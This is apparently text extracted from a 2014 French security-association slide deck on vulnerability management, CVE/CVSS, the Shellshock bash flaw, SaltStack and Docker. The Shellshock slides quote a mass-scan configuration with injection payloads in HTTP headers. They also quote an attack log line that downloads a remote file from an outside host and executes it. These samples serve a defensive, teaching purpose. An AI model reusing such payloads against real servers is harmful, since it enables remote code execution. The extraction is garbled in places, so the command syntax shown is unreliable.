2. gurations
Cas particuliers appliques a ShellShock
J. Moreau/J.M. Misert
Clusir-Est
5 novembre 2014
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
4. Presentation Clusir-Est
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
5. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
7. Presentation Clusir-Est
L'association Clusir-Est
Une association loi 1901 a but non lucratif et non commercial.
Le but est de developper toute action propre a une meilleure approche
et ma^trise des risques du SI.
Le Clusir-Est n'est pas une sous-entite du Clusif : L'association
mene des actions dans le respect du code d'ethique des metiers de la
securite des SI de
8. ni par le Clusif.
Les membres choisissent les themes a aborder (via echanges et/ou
sondages)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
10. Presentation Clusir-Est
Les autres Clusir
Les Clusirs travaillent avec le Clusif et echangent pour l'organisation.
Participations a certains groupes de travail du Clusif.
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
12. Presentation Clusir-Est
Les journees Clusir-Est entre 2006 et 2009
Les journees d'echanges 2006 :
26/01/06 - Reunion de Lancement
30/03/06 - Charte Cybersurveillance C.I.L
28/06/06 - Analyse de risques et Pilotage
26/09/06 - Mobilite Malware
06/12/06 - Plan de Continuite des Activites
Les manifestations 2006 :
13/04/06 - Panorama Cybercriminalite du CLUSIF
16/05/06 - Panorama Cybercriminalite du CLUSIF
Les journees d'echanges 2007 :
06/02/07 - Computer Forensics et Assemblee generale
27/03/07 - Certi
13. cation Securite
21/06/07 - Audit de Securite
28/09/07 - Haute Disponibilite - Virtualisation
Les manifestations 2007 :
15/05/07 - Panorama Cybercriminalite du CLUSIF
Les journees d'echanges 2008 :
22/01/08 - Securite physique et Assemblee generale
27/05/08 - L'incident et la reponse juridique
02/10/08 - Ateliers thematiques
04/12/08 - La fuite d'information
Les manifestations 2008 :
15/05/08 - Panorama Cybercriminalite du CLUSIF
03/06/08 - Les routes de l'innovation
Les journees d'echanges 2009 :
05/02/09 - Assemblee generale, CIL et menaces
25/06/09 - Protection de l'environnement de travail
24/09/09 - Securite de l'entreprise etendue
15/12/09 - IT Gouvernance et SMSI
Les manifestations 2009 :
25/05/09 - Panorama Cybercriminalite du CLUSIF
26/11/09 - Forum du Rhin superieur sur les cybermenaces
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
15. Presentation Clusir-Est
Les journees Clusir-Est entre 2010 et 2013
Les journees d'echanges 2010 :
02/02/10 - Assemblee generale
Les manifestations 2010 :
01/03/10 - Panorama Cybercriminalite du CLUSIF
Les journees d'echanges 2011 :
22/02/11 - Assemblee generale
22/09/11 - Tables rondes
15/12/11 - Synthese sur les menaces et le management
SSI
Les manifestations 2011 :
19/04/11 - Panorama Cybercriminalite du CLUSIF
04/10/11 - Petit-dejeuner cybercriminalite
Les journees d'echanges 2012 :
02/02/12 - Assemblee generale
25/04/12 - Securite dans la virtualisation et le Cloud
14/06/12 - Visite du LHS et etat de l'art
06/10/12 - Les evolutions juridiques
04/12/12 - Mobilite/BYOD et evolutions des normes SSI
Les manifestations 2012 :
23/03/12 - La SSI au coeur de l'IE
19/06/12 - La securite des SI des PME
04/10/12 - IT Tour 2012
06/11/12 - Forum du Rhin superieur sur les cybermenaces
Les journees d'echanges 2013 :
07/02/13 - Assemblee generale
06/06/13 - La securite dans les projets IT
26/09/13 - Contr^oler le niveau de securite de son SI
05/12/13 - Sensibilisation et formation a la SSI
Les manifestations 2013 :
18/04/13 - Panorama Cybercriminalite du CLUSIF
30/05/13 - Panorama Cybercriminalite du CLUSIF
10/10/13 - IT Tour 2013
24/10/13 - De le cybercriminalite aux pratiques de securite
28/11/13 - COGITO 2013
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
17. Presentation Clusir-Est
Logisitique d'accueil et moyens de communications
Pour la logistique :
Les membres sont solicites pour heberger une journee (pas de
location).
Pour la communication et les echanges :
Site Web : http://clusir-est.org
Le site possede une zone privee uniquement pour les membres
Groupe LinkedIn : Clusir-Est
Twitter : @clusirest
Google agenda
Mail : contact sur clusir-est.org
Liste de diusion : 1 pour le bureau, 1 pour les membres
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
20. nanciers proviennent des cotisations versees par ses
adherents
Adhesion :
100 euros annuellement (quelle que soit la periode de l'annee)
reduction de 50% accordee pour le 2eme (et suivant) adherent d'une
societe deja adherente
les membres du bureau payent leur cotisation
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
22. Presentation Clusir-Est
Membres du Clusir-Est
Bureau :
Jean-Marc Misert (Banque Postale) : President
Johan Moreau (IRCAD) : Vice-President
Eric Weis (Univ. de Lorraine) : Tresorier
Ludovic Merissonne (Cora Informatique) :
Membre du bureau
Yannick Narbey (Vitalia) : Membre du bureau
Bruno Barge (Lohr) : Membre du bureau
Stephane Nagel (Haganis) : Membre du bureau
Nombre de membres :
2006 - 24
2007 - 33
2008 - 36
2009 - 34
2010 - 33
2011 - 22
2012 - 28
2013 - 30
2014 - 33
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
24. Attaques et vulnerabilites
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
25. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
27. Attaques et vulnerabilites
Principes generaux
Pour parler attaques et vulnerabilites il est necessaire de connaitre son
systeme d'information (ISO 27001 1 )
EBIOS 2 ou ISO27005 vont aider sur l'analyse de risques
ISO27035 de
28. nit la gestion des incidents de securite
Evenement de securite :
Occurance identi
29. ee de l'etat d'un service, d'un systeme ou d'un reseau
indiquant une faille possible dans la PSSI ou un echec des mesures de
securite ou encore une situation inconnue et pouvant relever de la
securite.
Incident de securite :
Un ou plusieurs evenements lies a la securite de l'information
indesirables ou inattendus presentant une probabilite forte de
compromettre les activites de l'organisation et de menacer la securite
de l'information.
1
http://en.wikipedia.org/wiki/ISO/IEC_27000-series
2
http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
31. Attaques et vulnerabilites
Principes generaux
Un vecteur d'attaque va ^etre utilise sur votre SI
virus, ver, malware, faille, erreur humaine, ...
Une vulnerabilite ou evenement va ^etre exploitee
faille reseau, os, applicative, base de donnees, humaine, ...
Un impact ou incident va toucher un metier
disponibilite, integrite, con
32. dentialite, ...
Cette presentation va discuter des vulnerabilites et impacts dans un
context pro-actif (veille, CERT3 , CSIRT, ...)
3
http://fr.wikipedia.org/wiki/Computer_Emergency_Response_Team
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
34. Standards pour les vulnerabilites : CVE et CVSS
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
35. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
37. Standards pour les vulnerabilites : CVE et CVSS
CVE : Common Vulnerability and Exposures
Gere par le MITRE 4
Dictionnaire pour le nommage des vulnerabilites (initie en 1999)
Structure du type CVE-AAAA-XXXX :
AAAA : annee/XXXX : id incremental
Par exemple : CVE-2014-7169
National Vulnerability Database (NVD) via le NIST5
Declinaison speci
38. que au Malware : CME6
Qualite d'un SI (au regard des CVE) : OVAL 7
Le langage est reconnu, utilise dans de nombreux outils, par les CERT et
donc predominant pour la veille en SSI. Des extensions sont proposees.
4
http://cve.mitre.org
5
http://nvd.nist.org
6
http://cme.mitre.org
7
http://oval.mitre.org
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
40. Standards pour les vulnerabilites : CVE et CVSS
CVSS : Common Vulnerability Scoring System
Gere par le FIRST 8
Systeme de notation (initie en 2005)
Algorithme public disponible sur le site du NIST 9
Permet d'evaluer la dangerosite d'une vulnerabilite
La note donnee varie de 0 a 10 et est basee sur :
score de base
score temporel
score environnemental
CVSS est maintenant largement employe par les constructeurs et editeurs.
8
http://www.first.org/cvss
9
http://nvd.nist.gov/cvsseq2.htm
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
42. Standards pour les vulnerabilites : CVE et CVSS
CVSS : Calcul du score de base
Le score de base repose sur deux metriques
l'exploitabilite de la vulnerabilite
l'impact que peut avoir l'exploitation de la vulnerabilite
Pour l'exploitabilite (facon d'exploiter) :
Le vecteur d'acces : la vulnerabilite peut ^etre exploitee depuis Internet,
depuis un reseau adjacent, ou requiert un acces local ?
La complexite d'acces : est-il simple, moderement complexe ou tres
complexe d'acceder au composant vulnerable ?
Les pre-requis d'authenti
43. cation : est-il possible d'acceder de facon
anonyme au composant vulnerable pour exploiter la faille ? Ou y'a-t-il
un, ou plusieurs niveaux d'authenti
45. dentialite : est-il complet, partiel ou inexistant ?
L'impact sur la disponibilite : est-il complet, partiel ou inexistant ?
L'impact sur l'integrite : est-il complet, partiel ou inexistant ?
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
47. Standards pour les vulnerabilites : CVE et CVSS
CVSS : Ecriture du vecteur d'acces
Exemple : vulnerabilite sur serveur Web, donnant acces a des bannieres
detaillees, donnant des indications sur des versions de produits vulnerables :
AV :N/AC :L/Au :N /C :P/I :N/A :N
L'exploitabilite :
Vecteur d'acces : Internet (Access Vector : Network)
Complexite d'acces : Faible (Access Complexity : Low)
Authenti
48. cation : Aucune (Authentication : None)
L'impact ne porte que sur la con
51. dentiality Impact : Partial)
Impact sur l'Integrite : Aucun (Integrity Impact : None)
Impact sur la Disponibilite : Aucun (Availability Impact : None)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
53. Standards pour les vulnerabilites : CVE et CVSS
CVSS : calcul du score temporel et environnemental
3 criteres pour le score temporel :
L'exploitabilite (facilite d'exploitation de la vulnerabilite) : existe-t-il un code public
permettant d'exploiter la vulnerabilite, est-il fonctionnel, est-ce une PoC, a-t-on un doute
sur son existence ?
L'existence de contre-mesures : sont-elles disponibles, n'existe-t-il que des solutions
palliatives, ou un correctif non-ociel ?
L'existence m^eme de la vulnerabilite : a-t-elle ete con
54. rmee, ou n'a-t-on que des
soupcons ?
5 criteres pour le calcul du score environnemental :
Le potentiel de dommage collateral lie a la vulnerabilite (Aucun, Faible, Faible a Moyen,
Moyen a Eleve, Eleve)
Le nombre de systemes vulnerables dans l'environnement cible (Aucun, Faible, Moyen,
Eleve)
Le niveau d'exigence en termes de con
55. dentialite (Faible, Moyen, Eleve)
Le niveau d'exigence en termes d'integrite (Faible, Moyen, Eleve)
Le niveau d'exigence en termes de disponibilite (Faible, Moyen, Eleve)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
59. Standards pour les vulnerabilites : CVE et CVSS
CVSS : Outil en ligne 10
10
http://nvd.nist.gov/cvss.cfm?calculatorversion=2
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
61. Gestion des vulnerabilites a la Banque Postale
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
62. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
64. Gestion des vulnerabilites a la Banque Postale
Chapitre non diuse
Chapitre non diuse
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
66. Le cas de Shellshock
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
67. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
69. Le cas de Shellshock
Shellshock CVE et CVSS
La vulnerabilite Shellshock 11 a ete identi
70. ee dans bash - 25/09/2014. Elle
est exploitee dans la nature. Un attaquant distant pourrait l'exploiter a
71. n
d'executer du code arbitraire :
CVE-2014-[6271j6277j6278j7169j7186j7187]
Criticite : CVSS de base=10 - CVSS temporel=8,7 = PRIORITAIRE
11
http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
73. Le cas de Shellshock
ShellShock est-ce grave ? 12 13
Attaques via les navigateurs :
Code Listing 1{ Ent^ete HTTP infectee par shellshock language
target = 0.0.0.0/0
port = 80
banners = true
httpuseragent = shellshockscan (http://blog.erratasec .com/2014/09/bashshellshock
scanofinternet.html)
httpheader = Cookie:() f :; g; ping c 3 209.126.230.74
httpheader = Host:() f :; g; ping c 3 209.126.230.74
httpheader = Referer:() f :; g; ping c 3 209.126.230.74
Mais aussi DHCPd, SMTPd, ...
12
http://www.shellshock.fr/
13
http://linuxfr.org/news/une-faille-nommee-shellshock
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
75. Le cas de Shellshock
Exemple de preuves de concept 14
14
http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
77. Le cas de Shellshock
Attaque dans OSSEC
Code Listing 2{ Trace d'attaque dans OSSEC
OSSEC HIDS Noti
78. cation.
2014 Nov 10 18:37:14
Received From: myserver/var/log/apache2/access.log
Rule: 31151
79. red ( level 10) Mutiple web server 400 error codes from same source ip
.
Portion of the log(s) :
193.x.y.z [1/Nov/2014:18:37:13 +0100] GET /cgibin/meme.cgi HTTP/1.1 404 396
() f :;g;/usr/bin/perl e 'print nContentType: text/plainnnrnnnnnrnn
nXSUCCESS!n;system(nwget www.freistilreisen.de/jack.jpg O /tmp/jack.jpg;curl
O /tmp/jack.jpg www.freistilreisen.de/jack. jpg; perl /tmp/jack.jpg;rm rf /tmp/jack.
jpg*n) ;'
193.x.y.z [1/Nov/2014:18:37:13 +0100] GET /cgibin/main.cgi HTTP/1.1 404 397
() f :;g;/usr/bin/perl e 'print nContentType: text/plainnnrnnnnnrnn
nXSUCCESS!n;system(nwget www.freistilreisen.de/jack.jpg O /tmp/jack.jpg;curl
O /tmp/jack.jpg www. freistilreisen .de/jack. jpg; perl /tmp/jack.jpg;rm rf /tmp/jack
.jpg*n) ;'
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
82. gurations avec SaltStack
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
83. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
88. gurations centralise
Un gestionnaire de machines virtuelles
Quelques exemples d'utilisation :
Installation d'une application
Con
89. guration des imprimantes, des partages reseaux, ...
Lancer des commandes sur un ensemble de machines
Gerer des VM ou conteneurs (construire, lancer, arr^eter, ...)
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
95. gurations avec SaltStack
Architecture
Mode de fonctionnement :
En solitaire (a titre perso, ca peut aider)
En client-serveur (en pull ou push) : ma^tre/larbin (master/minion)
Le lexique :
Grain : proprietes d'un larbin (OS, RAM, ...)
Formule/Etat (state) : etats a appliquer dans un .sls en YAML
Pilier (pillar) : parametres a transmettre aux larbins
Les commandes :
Salt est concu pour executer des commandes a distance (modules au
sens python) : test.ping (module test), cmd.run (module cmd)
Module important : state (gestion de con
99. gurations avec SaltStack
Formules simples : installation d'un paquet 22
Code Listing 3{ top.sls la racine des etats
base: # Master base con
100. guration
'*': # all minion
apache # call apache state
Code Listing 4{ apache.sls
101. chier decrivant l'etat apache
apache2: # Id, using like main parameter for this state
pkg. installed # state to call : this pack must be installed
22
http://docs.saltstack.com/en/latest/topics/tutorials/states_pt1.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
107. chier
apache2: # Id, using like main parameter for this state
pkg:
installed # state to call : this pack must be installed
service :
running # check if running
watch: # reload if change
111. le on salt master
user: root
group: root
mode: 644
require :
pkg: apache2 # update this
112. le only if apach2 is installed
23
Le serveur Salt sert de serveur de
113. chier avec l'url salt ://
24
http://docs.saltstack.com/en/latest/topics/tutorials/states_pt2.html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
116. gurations avec SaltStack
Gestion des grains 25 26
Code Listing 6{ Exemple d'executions distantes
# from master to speci
117. c minion
sudo salt serveur .example.com cmd.run reboot
sudo salt G 'os:debian' cmd.run aptget update
# from master to multiples minion
sudo salt ' serveur (01j02) .example.com' state . sls apache
sudo salt grainpcre 'os:(debianjubuntu)' state . highstate
# from minion
sudo saltcall l debug state . highstate
25
Possibilite de tester avant execution en ajoutant test=True
26
aide en ligne avec sys.doc, exemple : sudo salt-call sys.doc user
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
120. gurations avec SaltStack
Pilier/Pillar
Utilite du pilier :
Decouplage etat et param^etres : variations en fonction d'un OS, d'une
distribution, etc ...
Securite : les larbins ont acces a tous les etats, eviter d'y mettre des
informations con
121. dentielles
Creation du pilier :
M^eme syntaxe que les recettes et pillar.get() dans les formules
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
131. gurations avec SaltStack
Gestion des cles et distribution
Sur le serveur :
salt-key -L
salt-key -a saltminion
Serveur distribue :
Comme pour nagios, il est possible de distribuer l'activite 27
27
http://bencane.com/2014/02/04/saltstack-getting-redundancy-and-scalability-with-multiple-master-servers/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
134. gurations avec SaltStack
Retour d'experience et ressources interessantes 29 30
Les +++ :
Prise en main assez rapide, homogeneise bien l'ensemble du parc
Dans la tendance DevOps, cloud prive, SDN28, ...
A faire : deployer encore et encore, utilisation mixte avec RD
A voir :
Modules maisons, preseeding pour reponses a debconf, ...
Gestion des outils de virtualisation (Esx, KVM, Proxmox, ...)
Gestion des outils de cloud public (Amazon, Google, ...)
Systeme graphique et de plani
136. ned Network
29
https://mywushublog.com/2013/12/active-directory-authentication-with-salt/
30
https://github.com/saltstack-formulas/ntp-formula/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
139. gurations avec SaltStack
Retour d'experience et ressources interessantes
Quelques avertissements :
En raison de la conf. 0MQ, pas de certitudes sur l'execution
Le client tourne en mode root, attention les degats !
Quelques troubleshooting connus (outil encore jeune) 31
Debuggage pas toujours simple avec docker 32
31
http://docs.saltstack.com/en/latest/topics/troubleshooting
32
https://github.com/saltstack/salt/issues/12003
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
142. gurations avec SaltStack
Et ShellShock alors ?
Code Listing 10{ Sequence d'execution salt pour ShellShock
sudo salt l debug v G 'kernel:Linux' cmd.run env x='() f :;g; echo bad' bash c '
echo good' 21 jgrep
srv1 .domain : bad
srv2 .domain : bad
srv3 .domain : good
srv4 .domain : bad
srv5 .domain : good
...
sudo salt l debug v G 'kernel:Linux' pkg. install bash refresh =True
sudo salt l debug v G 'kernel:Linux' cmd.run env x='() f :;g; echo bad' bash
c 'echo good' 21 jgrep
srv1 .domain : good
srv2 .domain : good
srv3 .domain : good
srv4 .domain : good
srv5 .domain : good
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
144. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Plan
1 Presentation Clusir-Est
2 Attaques et vulnerabilites
3 Standards pour les vulnerabilites : CVE et CVSS
4 Gestion des vulnerabilites a la Banque Postale
5 Le cas de Shellshock
6 Gestion de con
145. gurations avec SaltStack
7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
147. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Un conteneur (jolie metaphore), c'est quoi ?
Les m^emes idees que la virtualisation, mais sans virtualisation :
Agnostique sur le contenu et le transporteur
Isolation et automatisation
En gros, un super chroot (ou un jails BSD plus sympa). Un des points
forts de Solaris depuis plusieurs annees. Techno existante aussi chez
Google depuis longtemps. Rien de neuf, mais pourtant ...
Docker :
Projet jeune 33 : 1er commit le 18/01/2013
Dans le top15 sur GitHub (13/02/2014 : 334 contributeurs)
Linux 64bits avec LXC (qui evolue beaucoup dans ce sens)
Simpli
148. e fortement tout cela ...
33
http://linuxfr.org/news/la-folie-docker
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
150. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Liaison avec le noyau Linux 34
Une belle evolution de Linux :
Mount namespace (Linux 2.4.19)
PID namespace (Linux 2.6.24) / plusieurs PID par process
Net namespace (Linux 2.6.19-2.6.24)
User namespace (Linux 2.6.23-3.8)
IPC namespace (Linux 2.6.19-2.6.30)
UTS namespace (Linux 2.6.19) / host et domain
cgroups : gerer la limitation de ressource
AUFS/BTRFS : FS par couche, mode union, copy on write
34
https://github.com/sdouche/presentation-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
152. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Docker
Terminologie :
index : repertoire public (https ://index.docker.io/)
image : conteneur en lecture seule (snapshot)
conteneur : element manipulable
run : creer un conteneur (a partir d'une image)
Les points forts :
ecrit en go et installation simple 35
ligne de commande tres sympathique (docker help)
langage de description des images (avec notion de parent)
API pour pilotage et integration partielle dans OpenStack
Gui 36 , Orchestration, hebergement cloud, integration continue, OS
35
http://docs.docker.com/installation/ubuntulinux/
36
http://linuxfr.org/news/logiciels-pour-survivre-avec-docker
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
154. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Docker in the shell 37 38 39
Les principales commandes :
Code Listing 11{ les commandes docker utiles
sudo /usr/bin/docker d # run the daemon
sudo docker search ubuntu # give ubuntu images from public index ( ocial /trusted)
sudo docker pull stackbrew/ubuntu # pull latest stackbrew/ubuntu images
sudo docker history stackbrew/ubuntu # view history for this images
sudo docker images # show local images
sudo docker run i t stackbrew/ubuntu /bin/bash # run this images / create container
sudo docker run t i link redis :db name webapp ubuntu bash # link 2 containers
sudo docker ps # show active containers (a to show all containers )
sudo docker logs myUbuntu
sudo docker attach myUbuntu # retake the hand on the container
sudo docker run d p 8888:80 ubuntu # export 8888 on master
37
http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-1/
38
http://ippon.developpez.com/tutoriels/virtualisation/docker-presentation-part-2/
39
http://sametmax.com/le-deploiement-par-conteneurs-avec-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
156. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Exemple du projet intranet
Intranet :
Utilisation de docker avec l'image docker
157. le/nodejs 40 41(amelioration
a prevoir 42)
Essai avec une image redis en plus, reste a discuter/imaginer
Code Listing 12{ les commandes docker utiles avec boot2docker
boot2docker up
boot2docker ssh mkdir test ; sudo mount t vboxsf Documents test
boot2docker ssh sudo su c ' ulimit n 16384 /etc/init.d/docker restart '
export DOCKERn HOST=tcp://127.0.0.1:2375
docker run link determinedn nobel: redis p :3000:3000 it v /home/docker/test:/
media:rw v /var/log:/opt/my/app/log:rw dns 192.168.201.150 dns
192.168.201.140 rm docker
158. le/nodejs
/media/annuaire/test.sh
ssh L 8080:127.0.0.1:3000 docker@localhost p2022
#### Annuaire accessible en 8080 !
40
https://registry.hub.docker.com/u/dockerfile/nodejs/dockerfile
41
http://dockerfile.github.io/#/nodejs
42
http://thenewstack.io/examples-of-building-a-node-js-app-with-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
160. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Construire sa propre image 43
Docker propose un systeme de construction base sur des caches a
161. n
d'optimiser la reconstruction (utile pour le processus de build/test)
Code Listing 13{ Docker
162. le
FROM debian:wheezy
ADD README.md /tmp/
Code Listing 14{ Execution d'un build Docker
$ docker build q t readme .
Sending build context to Docker daemon 3.584 kB
Sending build context to Docker daemon
Step 0 : FROM debian:wheezy
e8d37d9e3476
Step 1 : ADD README.md /tmp/
09eabce38f39
Removing intermediate container 3e44a3b6eabe
Successfully built 09eabce38f39
43
http://www.centurylinklabs.com/more-docker-image-cache-tips
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
164. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
L'inter^et pour la gestion des vulnerabilites ?
Si on a son magasin de docker
165. le
Il est relativement simple de mettre a jour en cas de vulnerabilites
Inter^et pour les conteneurs qu'on peut redeployer
Inter^et pour les futurs conteneurs
Et tester tout cela ! ! !
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
167. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Retour d'experience et ressources interessantes
Les +++ :
Prise en main assez rapide
A faire : deployer encore et encore, utilisation mixte avec RD
Quelques avertissements :
Il faut plus voir un conteneur Docker comme une application que
comme un OS 44
Dans la logique, on ne cree pas de contenu dans le conteneur
44
http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con
169. Les conteneurs Docker, un complement a ESX, KVM, Hype..r.V,
Retour d'experience et ressources interessantes
Les evolutions rapides :
Mettre en place l'index d'images pour le SI et la supervision
Faire des images simples 45 46 et dediees 47 48
Usage en cloud hybrid (Google Container Engine, ...) 49
Outil en fort developpement : signature avec Microsoft, ...
45
http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/
46
http://crosbymichael.com/dockerfile-best-practices.html
47
https://aresu.dsi.cnrs.fr/spip.php?article202
48
http://blog.loof.fr/2014/04/jenkins-meets-docker-round-1.html
49
http://googlecloudplatform.blogspot.fr/2014/11/google-cloud-platform-live-introducing-container-engine-cloud-networking-and-muchtml
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et con